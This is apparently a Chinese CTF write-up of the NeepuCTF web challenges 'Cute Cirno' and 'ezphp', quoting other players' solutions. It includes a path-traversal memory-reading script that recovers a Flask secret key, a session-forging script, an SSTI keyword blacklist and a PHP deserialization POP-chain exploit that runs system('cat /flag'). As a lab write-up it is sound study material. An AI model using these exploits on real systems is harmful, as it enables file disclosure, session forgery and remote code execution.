前言
web又爆零了呜呜呜
不过倒也学到了很多东西
贴几个大佬的wp:
Web
Cute Cirno
进入题目,在Cirno界面的js文件中发现一个任意读取文件的路由/r3aDF1le
然后用cmdline读出文件名
/r3aDF1le?filename=../../../proc/self/cmdline
获取源码
from flask import Flask, request, session, render_template, render_template_string
import os, base64
from NeepuFile import neepu_files
CuteCirno = Flask(__name__, static_url_path='/static', static_folder='static')
CuteCirno.config['SECRET_KEY'] = str(
base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*"
@CuteCirno.route('/')
def welcome():
session['admin'] = 0
return render_template('welcome.html')
@CuteCirno.route('/Cirno')
def show():
return render_template('CleverCirno.html')
@CuteCirno.route('/r3aDF1le')
def file_read():
filename = "static/text/" + request.args.get('filename', 'comment.txt')
start = request.args.get('start', "0")
end = request.args.get('end', "0")
return neepu_files(filename, start, end)
@CuteCirno.route('/genius')
def calculate():
if session.get('admin') == 1:
print(session.get('admin'))
answer = request.args.get('answer')
if answer is not None:
blacklist = [
'_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen',
'subprocess', 'posix', 'builtins', 'namespace', 'open', 'read',
'\\', 'self', 'mro', 'base', 'global', 'init', '/', '00',
'chr', 'value', 'get', "url", 'pop', 'import', 'include',
'request', '{{', '}}', '"', 'config', '='
]
for i in blacklist:
if i in answer:
answer = "⑨" + """"""
break
if answer == '':
return "你能告诉聪明的⑨, 1+1的answer吗"
return render_template_string("1+1={}".format(answer))
else:
return render_template('mathclass.html')
else:
session['admin'] = 0
return "你真的是我的马斯塔吗?"
if __name__ == '__main__':
CuteCirno.run('0.0.0.0', 5000, debug=True)
很明显是要求我们先进行session伪造然后进行ssti
然后本人就卡在session伪造上了,因为SECRET_KEY的生成方式貌似是真随机
看了一下大佬们的wp,好像是读内存算uuid
这里先附上算mem获取uuid的脚本
#@ mumuzi
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import re
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
url_1 = "http://neepusec.fun:28723/r3aDF1le?filename=../../../../../proc/self/maps"
res = requests.get(url_1)
maplist = res.text.split("\n")
for i in maplist:
m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw", i)
if m != None:
start = int(m.group(1), 16)
end = int(m.group(2), 16)
url_2 = "http://neepusec.fun:28723/r3aDF1le?filename=../../../../../proc/self/mem&start={}&end={}".format(
start, end)
res_1 = requests.get(url_2)
if "*NeepuCTF*" in res_1.text:
print start
print end
print url_2
然后带上start
和end
的值访问
找到一串带有*NeepuCTF*的字符串,那就是我们要找的SECRET_KEY
然后本地脚本跑一下获取session
import base64
import os
from flask import (Flask, render_template, request, url_for, redirect, session,
render_template_string)
from flask_session import Session
app = Flask(__name__)
app.secret_key = '' #获取的key
@app.route('/')
def index():
#要伪造的数据
txt = '1'
session['admin'] = txt #放入session中会用key自动加密后发给客户端
ls = '''can can word session '''
return render_template_string(ls)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
访问/genius,带上session
来到ssti部分
过滤一堆,可以继续坐牢
参考ctfshow ssti web369
非预期
开了debug模式,所以直接算pin码进console就能出
ezphp
php<=7.4.21源码泄露
反序列化
打开题目
发现啥都没有
试图dirsearch扫,但是依旧啥都没有
这个时候突然想到看看php版本,发现是7.4.21,搜索一下发现刚好有源码泄露漏洞
那就抓包发到重放器改请求头
得到反序列化源码
<?php
class one
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function neepuctf()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class two
{
private $finish;
public $name;
public function __get($value)
{
return $this->$value = $this->name[$value];
}
}
class three
{
public function __destruct()
{
if ($this->neepu->neepuctf() || !$this->neepu1->neepuctf()) {
$this->fin->NEEPUCTF($this->rce, $this->rce1);
}
}
}
class four
{
public function __destruct()
{
if ($this->neepu->neepuctf()) {
$this->fin->NEEPUCTF1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
class five
{
public $finish;
private $name;
public function __get($name)
{
return $this->$name = $this->finish[$name];
}
}
$a = $_POST["neepu"];
if (isset($a)) {
unserialize($a);
}
接下来就是构造pop链
链子应该是__destruct->__call
这里贴个Boogipop大佬的链子,本人还没想明白这链子是怎么连上的(x
<?php
class one{
public function __call($name,$ary)
{
if ($this->key === true||$this->finish1->name) {
if ($this->finish->finish){
call_user_func($this->now[$name],$ary[0]);
}
}
}
class two{
private $finish;
public $name;
}
class three{
}
class four{
public function __destruct()
{
if ($this->neepu->neepuctf()){
$this->fin->NEEPUCTF1($this->rce,$this->rce1);
}
}
public function __wakeup(){
$this->key=false;
}
}
class five{
public $finish;
}
$a=new four();
$a->rce="cat /flag";
$a->rce1="";
$b=new one();
$b->finish->finish=true;
$a->neepu=$b;
$c=new one();
$c->key=true;
$c->finish->finish=true;
$c->now['NEEPUCTF1']='system';
$a->fin=$c;
echo urlencode(serialize($a));